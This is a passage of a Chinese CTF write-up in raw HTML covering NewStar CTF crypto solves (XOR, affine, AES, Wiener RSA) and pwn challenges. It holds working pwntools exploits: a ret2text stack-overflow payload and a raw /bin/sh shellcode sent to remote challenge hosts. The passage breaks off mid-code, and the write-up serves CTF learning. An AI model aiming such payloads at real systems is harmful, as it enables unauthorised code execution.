class="hljs-number">6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248</span><br> d = wiener_hack(e, n)<br> m = <span class="hljs-built_in">pow</span>(c,d,n)<br> <span class="hljs-built_in">print</span> (long_to_bytes(m))<br><span class="hljs-keyword">if</span> __name__==<span class="hljs-string">"__main__"</span>:<br> main()<br></code></pre></td></tr></table></figure><p>拿到flag:<code>flag{learn_some_continued_fraction_technique#dc16885c}</code></p><h3 id="babyxor"><a href="#babyxor" class="headerlink" title="babyxor"></a>babyxor</h3><p>打开附件,得到一段python:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> secret <span class="hljs-keyword">import</span> *<br><br>ciphertext = []<br><br><span class="hljs-keyword">for</span> f <span class="hljs-keyword">in</span> flag:<br> ciphertext.append(f ^ key)<br><br><span class="hljs-built_in">print</span>(<span class="hljs-built_in">bytes</span>(ciphertext).<span class="hljs-built_in">hex</span>())<br><span class="hljs-comment"># e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2</span><br></code></pre></td></tr></table></figure><p>由于已知flag是<code>flag{</code>开头的,所以我们可以得到key的值,编写解密脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs python">ciphertext_hex = <span class="hljs-string">'e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2'</span><br><br><span class="hljs-comment"># 将16进制字符串转换为字节列表</span><br>ciphertext_bytes = <span class="hljs-built_in">bytes</span>.fromhex(ciphertext_hex)<br><br><span class="hljs-comment"># 解密密文</span><br>plaintext = []<br><span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> ciphertext_bytes:<br> <span class="hljs-built_in">print</span>(<span class="hljs-built_in">chr</span>(<span class="hljs-built_in">ord</span>(<span class="hljs-built_in">chr</span>(c))^<span class="hljs-number">143</span>),end=<span class="hljs-string">''</span>)<br> <span class="hljs-comment">#plaintext.append(c ^ key)</span><br><br><span class="hljs-comment"># 将字节列表转换为字符串</span><br>plaintext_str = <span class="hljs-string">''</span>.join([<span class="hljs-built_in">chr</span>(p) <span class="hljs-keyword">for</span> p <span class="hljs-keyword">in</span> plaintext])<br><br><span class="hljs-built_in">print</span>(plaintext_str)<br></code></pre></td></tr></table></figure><p>得到flag:<code>flag{x0r_15_symm3try_and_e4zy!!!!!!}</code></p><h3 id="babyencoding"><a href="#babyencoding" class="headerlink" title="babyencoding"></a>babyencoding</h3><p>使用cyberchef,第一段得到<code>flag{dazzling_encoding#4e0ad4</code>,第二段得到:<code>f0ca08d1e1d0f10c0c7afe422fea7</code>,第三段使用UUencode解密<a href="https://ctf.bugku.com/tool/uuencode">UUencode加密/解密 - Bugku CTF</a>,得到<code>c55192c992036ef623372601ff3a}</code>。</p><p>拼接一下,得到flag:<code>flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a}</code></p><h3 id="Affine"><a href="#Affine" class="headerlink" title="Affine"></a>Affine</h3><p>附件一段python</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> flag <span class="hljs-keyword">import</span> flag, key<br><br>ciphertext = []<br><br><span class="hljs-keyword">for</span> f <span class="hljs-keyword">in</span> flag:<br> ciphertext.append((key[<span class="hljs-number">0</span>]*f + key[<span class="hljs-number">1</span>]) % <span class="hljs-number">256</span>)<br><br><span class="hljs-built_in">print</span>(<span class="hljs-built_in">bytes</span>(ciphertext).<span class="hljs-built_in">hex</span>())<br><br><span class="hljs-comment"># dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064</span><br></code></pre></td></tr></table></figure><p>因为flag前4个字母是flag,因此可以列出4个方程</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs apache"><span class="hljs-attribute">221</span>+<span class="hljs-number">256</span>*a=key0*<span class="hljs-number">102</span>+key1<br><span class="hljs-attribute">67</span>+<span class="hljs-number">256</span>*b=key0*<span class="hljs-number">108</span>+key1<br><span class="hljs-attribute">136</span>+<span class="hljs-number">256</span>*c=key0*<span class="hljs-number">97</span>+key1<br><span class="hljs-attribute">238</span>+<span class="hljs-number">256</span>*d=key0*<span class="hljs-number">103</span>+key1<br></code></pre></td></tr></table></figure><p>得到</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs apache"><span class="hljs-attribute">key0</span> = (<span class="hljs-number">52</span> + <span class="hljs-number">256</span> * (a - b + c - d)) / -<span class="hljs-number">12</span><br><span class="hljs-attribute">key1</span> = <span class="hljs-number">221</span> + <span class="hljs-number">256</span> * a - key0 * <span class="hljs-number">102</span><br></code></pre></td></tr></table></figure><p>测试猜测key0=17,key1=23</p><p>解密</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment"># 密文和密钥</span><br>ciphertext_hex = <span class="hljs-string">"dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064"</span><br>key = (<span class="hljs-number">17</span>, <span class="hljs-number">23</span>) <span class="hljs-comment"># 请将a和b替换为实际的密钥值</span><br><br><span class="hljs-comment"># 计算key[0]的模数逆</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">mod_inverse</span>(<span class="hljs-params">a, m</span>):<br> m0, x0, x1 = m, <span class="hljs-number">0</span>, <span class="hljs-number">1</span><br> <span class="hljs-keyword">while</span> a > <span class="hljs-number">1</span>:<br> q = a // m<br> m, a = a % m, m<br> x0, x1 = x1 - q * x0, x0<br> <span class="hljs-keyword">return</span> x1 + m0 <span class="hljs-keyword">if</span> x1 < <span class="hljs-number">0</span> <span class="hljs-keyword">else</span> x1<br><br><span class="hljs-comment"># 将密文转换为字节列表</span><br>ciphertext_bytes = <span class="hljs-built_in">bytes</span>.fromhex(ciphertext_hex)<br>flag = []<br><br><span class="hljs-comment"># 逆向解密</span><br><span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> ciphertext_bytes:<br> original_byte = ((c - key[<span class="hljs-number">1</span>]) * mod_inverse(key[<span class="hljs-number">0</span>], <span class="hljs-number">256</span>)) % <span class="hljs-number">256</span><br> flag.append(original_byte)<br><br><span class="hljs-comment"># 将解密后的字节列表转换为字符串</span><br>original_flag = <span class="hljs-built_in">bytes</span>(flag).decode(<span class="hljs-string">'utf-8'</span>)<br><br><span class="hljs-built_in">print</span>(original_flag)<br></code></pre></td></tr></table></figure><p>得到flag:<code>flag{4ff1ne_c1pher_i5_very_3azy}</code></p><h3 id="babyaes"><a href="#babyaes" class="headerlink" title="babyaes"></a>babyaes</h3><p>打开附件</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES<br><span class="hljs-keyword">import</span> os<br><span class="hljs-keyword">from</span> flag <span class="hljs-keyword">import</span> flag<br><span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *<br><br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">pad</span>(<span class="hljs-params">data</span>):<br> <span class="hljs-keyword">return</span> data + <span class="hljs-string">b""</span>.join([<span class="hljs-string">b'\x00'</span> <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">0</span>, <span class="hljs-number">16</span> - <span class="hljs-built_in">len</span>(data))])<br><br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">main</span>():<br> flag_ = pad(flag)<br> key = os.urandom(<span class="hljs-number">16</span>) * <span class="hljs-number">2</span><br> iv = os.urandom(<span class="hljs-number">16</span>)<br> <span class="hljs-built_in">print</span>(bytes_to_long(key) ^ bytes_to_long(iv) ^ <span class="hljs-number">1</span>)<br> aes = AES.new(key, AES.MODE_CBC, iv)<br> enc_flag = aes.encrypt(flag_)<br> <span class="hljs-built_in">print</span>(enc_flag)<br><br><br><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:<br> main()<br><span class="hljs-comment"># 3657491768215750635844958060963805125333761387746954618540958489914964573229</span><br><span class="hljs-comment"># b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'</span><br></code></pre></td></tr></table></figure><p>key是<strong>32bytes</strong>,<strong>256bits</strong> ;iv是<strong>16bytes ,128bits</strong></p><p>key^iv ,那么只有 iv 与 key的<strong>低128位</strong>相异或,所以<strong>key的高128位是固定不变的</strong>。所以输出结果的高128bits,就是key的高128bits,进而可以得到key的所有值256bits。</p><p>之后key的低128bits,与输出结果的低128bits相异或,所得结果就是iv的值了</p><p>解密:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES<br><span class="hljs-keyword">import</span> os<br><span class="hljs-keyword">from</span> gmpy2 <span class="hljs-keyword">import</span>*<br><span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span>*<br><br>xor = <span class="hljs-number">3657491768215750635844958060963805125333761387746954618540958489914964573229</span>^<span class="hljs-number">1</span><br>enc_flag = <span class="hljs-string">b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'</span><br>out = long_to_bytes(xor)<br>key = out[:<span class="hljs-number">16</span>]*<span class="hljs-number">2</span><br><span class="hljs-comment"># print(key)</span><br>iv = bytes_to_long(key[<span class="hljs-number">16</span>:])^bytes_to_long(out[<span class="hljs-number">16</span>:])<br><span class="hljs-comment"># print(iv)</span><br>iv = long_to_bytes(iv)<br><span class="hljs-comment"># print(iv)</span><br>aes = AES.new(key,AES.MODE_CBC,iv)<br>flag = aes.decrypt(enc_flag)<br><span class="hljs-built_in">print</span>(flag)<br></code></pre></td></tr></table></figure><p>得到<code>b'firsT_cry_Aes\x00\x00\x00'</code></p><p>flag:<code>flag{firsT_cry_Aes}</code></p><h2 id="Pwn"><a href="#Pwn" class="headerlink" title="Pwn"></a>Pwn</h2><p>3/5</p><h3 id="ret2text"><a href="#ret2text" class="headerlink" title="ret2text"></a>ret2text</h3><p>栈溢出</p><p>ida打开发现明显的栈溢出,而且还有后门backdoor()函数</p><p>反汇编代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> __cdecl <span class="hljs-title function_">main</span><span class="hljs-params">(<span class="hljs-type">int</span> argc, <span class="hljs-type">const</span> <span class="hljs-type">char</span> **argv, <span class="hljs-type">const</span> <span class="hljs-type">char</span> **envp)</span><br>{<br> <span class="hljs-type">char</span> buf[<span class="hljs-number">32</span>]; <span class="hljs-comment">// [rsp+0h] [rbp-20h] BYREF</span><br><br> init(argc, argv, envp);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Welcome to NewStar CTF!!"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Show me your magic"</span>);<br> read(<span class="hljs-number">0</span>, buf, <span class="hljs-number">0x100</span>uLL);<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><p>backdoor代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">backdoor</span><span class="hljs-params">()</span><br>{<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Congratulations!!!"</span>);<br> <span class="hljs-keyword">return</span> execve(<span class="hljs-string">"/bin/sh"</span>, <span class="hljs-number">0LL</span>, <span class="hljs-number">0LL</span>);<br>}<br></code></pre></td></tr></table></figure><p>backdoor地址00000000004011FB</p><p>编写脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><br>return_address = <span class="hljs-number">0x4011FB</span><br>padding = <span class="hljs-string">b'A'</span> * <span class="hljs-number">40</span><br><br><span class="hljs-comment"># 构造payload</span><br>payload = padding + p64(return_address)<br><br><span class="hljs-comment"># 连接目标服务</span><br>r = remote(<span class="hljs-string">'node4.buuoj.cn'</span>,<span class="hljs-number">27081</span>)<br>r.recvline()<br>r.recvline()<br><span class="hljs-comment"># 发送payload</span><br>r.sendline(payload)<br><br><span class="hljs-comment"># 接收响应</span><br>r.interactive()<br></code></pre></td></tr></table></figure><p>之后直接cat flag即可拿到flag:<code>flag{11b564d9-fb42-41c6-a215-a750c4fc8c28}</code></p><h3 id="ezshellcode"><a href="#ezshellcode" class="headerlink" title="ezshellcode"></a>ezshellcode</h3><p>反汇编</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> __cdecl __noreturn <span class="hljs-title function_">main</span><span class="hljs-params">(<span class="hljs-type">int</span> argc, <span class="hljs-type">const</span> <span class="hljs-type">char</span> **argv, <span class="hljs-type">const</span> <span class="hljs-type">char</span> **envp)</span><br>{<br> <span class="hljs-type">void</span> *buf; <span class="hljs-comment">// [rsp+8h] [rbp-8h]</span><br><br> init(argc, argv, envp);<br> buf = (<span class="hljs-type">void</span> *)(<span class="hljs-type">int</span>)mmap((<span class="hljs-type">void</span> *)<span class="hljs-number">0x66660000</span>, <span class="hljs-number">0x1000</span>uLL, <span class="hljs-number">7</span>, <span class="hljs-number">50</span>, <span class="hljs-number">-1</span>, <span class="hljs-number">0LL</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Welcome to NewStar CTF!!"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Show me your magic"</span>);<br> read(<span class="hljs-number">0</span>, buf, <span class="hljs-number">0x100</span>uLL);<br> JUMPOUT(<span class="hljs-number">0x66660000</span>LL);<br>}<br></code></pre></td></tr></table></figure><p>直接写shellcode即可,网上随便搜一个shellcode,编写脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><br><span class="hljs-comment"># shellcode</span><br>shellcode = <span class="hljs-string">b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'</span><br><br><span class="hljs-comment"># 启动进程</span><br>r = remote(<span class="hljs-string">'node4.buuoj.cn'</span>,<span class="hljs-number">28681</span>)<br><br><span class="hljs-comment"># 读取欢迎信息</span><br><span class="hljs-built_in">print</span>(r.recv())<br><br><span class="hljs-comment"># 写入shellcode到内存块</span><br>r.sendline(shellcode)<br><br>r.interactive()<br><br><span class="hljs-comment"># 关闭进程</span><br>r.close()<br></code></pre></td></tr></table></figure><p>直接cat flag</p><h3 id="newstar-shop"><a href="#newstar-shop" class="headerlink" title="newstar shop"></a>newstar shop</h3><p>主函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> __cdecl __noreturn <span class="hljs-title function_">main</span><span class="hljs-params">(<span class="hljs-type">int</span> argc, <span class="hljs-type">const</span> <span class="hljs-type">char</span> **argv, <span class="hljs-type">const</span> <span class="hljs-type">char</span> **envp)</span><br>{<br> <span class="hljs-type">int</span> v3; <span class="hljs-comment">// [rsp+4h] [rbp-Ch] BYREF</span><br> <span class="hljs-type">unsigned</span> __int64 v4; <span class="hljs-comment">// [rsp+8h] [rbp-8h]</span><br><br> v4 = __readfsqword(<span class="hljs-number">0x28</span>u);<br> init(argc, argv, envp);<br> <span class="hljs-keyword">while</span> ( <span class="hljs-number">1</span> )<br> {<br> menu();<br> <span class="hljs-keyword">if</span> ( (<span class="hljs-type">int</span>)__isoc99_scanf(<span class="hljs-string">"%d"</span>, &v3) <= <span class="hljs-number">0</span> )<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Invalid input"</span>);<br> <span class="hljs-keyword">switch</span> ( v3 )<br> {<br> <span class="hljs-keyword">case</span> <span class="hljs-number">1</span>:<br> shop();<br> <span class="hljs-keyword">break</span>;<br> <span class="hljs-keyword">case</span> <span class="hljs-number">2</span>:<br> makemoney();<br> <span class="hljs-keyword">break</span>;<br> <span class="hljs-keyword">case</span> <span class="hljs-number">3</span>:<br> dont_try();<br> <span class="hljs-keyword">break</span>;<br> <span class="hljs-keyword">default</span>:<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"nothing here"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"\n"</span>);<br> <span class="hljs-keyword">break</span>;<br> }<br> }<br>}<br></code></pre></td></tr></table></figure><p>menu()</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">unsigned</span> __int64 <span class="hljs-title function_">menu</span><span class="hljs-params">()</span><br>{<br> <span class="hljs-type">unsigned</span> __int64 v1; <span class="hljs-comment">// [rsp+8h] [rbp-8h]</span><br><br> v1 = __readfsqword(<span class="hljs-number">0x28</span>u);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"================="</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"1.Go to the shop "</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"2.Make some money"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"3.Don't choose "</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"================="</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"\n"</span>);<br> <span class="hljs-keyword">return</span> v1 - __readfsqword(<span class="hljs-number">0x28</span>u);<br>}<br></code></pre></td></tr></table></figure><p>shop()</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">unsigned</span> __int64 <span class="hljs-title function_">shop</span><span class="hljs-params">()</span><br>{<br> <span class="hljs-type">int</span> v1; <span class="hljs-comment">// [rsp+4h] [rbp-Ch] BYREF</span><br> <span class="hljs-type">unsigned</span> __int64 v2; <span class="hljs-comment">// [rsp+8h] [rbp-8h]</span><br><br> v2 = __readfsqword(<span class="hljs-number">0x28</span>u);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"============================="</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"===Welcome to newstar shop==="</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"============================="</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"1.newstar's gift 20$"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"2.pwn write up 40$"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"3.shell 9999$"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"\n"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"All things are only available for one day!"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"What do you want to buy?"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"\n"</span>);<br> <span class="hljs-keyword">if</span> ( (<span class="hljs-type">int</span>)__isoc99_scanf(<span class="hljs-string">"%d"</span>, &v1) <= <span class="hljs-number">0</span> )<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Invalid input"</span>);<br> <span class="hljs-keyword">if</span> ( v1 != <span class="hljs-number">3</span> )<br> {<br> <span class="hljs-keyword">if</span> ( v1 > <span class="hljs-number">3</span> )<br> {<br>LABEL_17:<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"nothing here"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"\n"</span>);<br> <span class="hljs-keyword">return</span> v2 - __readfsqword(<span class="hljs-number">0x28</span>u);<br> }<br> <span class="hljs-keyword">if</span> ( v1 == <span class="hljs-number">1</span> )<br> {<br> <span class="hljs-keyword">if</span> ( (<span class="hljs-type">unsigned</span> <span class="hljs-type">int</span>)money > <span class="hljs-number">0x13</span> )<br> {<br> money -= <span class="hljs-number">20</span>;<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"You buy a newstar's gift"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"That is the gift:"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"What will happen when int transfer to unsigned int?"</span>);<br> <span class="hljs-keyword">goto</span> LABEL_10;<br> }<br> }<br> <span class="hljs-keyword">else</span><br> {<br> <span class="hljs-keyword">if</span> ( v1 != <span class="hljs-number">2</span> )<br> <span class="hljs-keyword">goto</span> LABEL_17;<br> <span class="hljs-keyword">if</span> ( (<span class="hljs-type">unsigned</span> <span class="hljs-type">int</span>)money > <span class="hljs-number">0x27</span> )<br> {<br> money -= <span class="hljs-number">40</span>;<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"You buy a pwn write up"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"That is free after the match,haha"</span>);<br> <span class="hljs-keyword">goto</span> LABEL_10;<br> }<br> }<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Sorry,you don't have enough money"</span>);<br>LABEL_10:<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"\n"</span>);<br> <span class="hljs-keyword">return</span> v2 - __readfsqword(<span class="hljs-number">0x28</span>u);<br> }<br> <span class="hljs-keyword">if</span> ( (<span class="hljs-type">unsigned</span> <span class="hljs-type">int</span>)money > <span class="hljs-number">0x270E</span> )<br> {<br> money = <span class="hljs-number">0</span>;<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"How do you buy it?"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"\n"</span>);<br> system(<span class="hljs-string">"/bin/sh"</span>);<br> }<br> <span class="hljs-keyword">else</span><br> {<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Sorry,you don't have enough money"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"\n"</span>);<br> }<br> <span class="hljs-keyword">return</span> v2 - __readfsqword(<span class="hljs-number">0x28</span>u);<br>}<br></code></pre></td></tr></table></figure><p>makemoney()</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span 